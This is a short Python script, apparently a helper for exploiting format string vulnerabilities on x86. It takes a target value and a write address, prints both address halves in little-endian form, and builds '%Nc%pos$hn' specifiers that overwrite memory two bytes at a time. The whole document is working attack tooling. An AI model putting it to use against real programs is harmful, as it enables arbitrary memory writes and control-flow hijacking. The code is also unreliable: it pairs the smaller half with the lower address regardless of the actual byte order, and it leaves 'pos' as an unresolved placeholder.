Format Strings generator for x86

fs.py

def little_endian(hex_str):
    hex_str = fix_hex(hex_str)
    chars = [hex_str[i:i+2] for i in range(0, len(hex_str), 2)][::-1]
    return bytes.fromhex("".join(chars))

def remove0x(hex_str):
    return hex_str[2:]

def half(hex_str):
    hex_str = fix_hex(hex_str)
    return int(hex_str[:4], 16), int(hex_str[4:], 16)

def fix_hex(hex_str):
    if len(hex_str) == 7:
        hex_str = '0' + hex_str
    return hex_str


try:
    target = int(input("Insert target address\n"), 16)
    write_addr = int(input("Insert the address where you want to write\n"), 16)
    write_addr_p2 = write_addr + 2

    h1, h2 = half(remove0x(hex(target)))

    first, second = (h1, h2) if h1 < h2 else (h2, h1)

    first_pad = first-8
    second_pad = second-first

    print("Here's your format string")

    print(little_endian(remove0x(hex(write_addr))))
    print(little_endian(remove0x(hex(write_addr_p2))))
    print(f"%{first_pad}c%pos$hn")
    print(f"%{second_pad}c%pos+1$hn")
except Exception as e:
    print("error")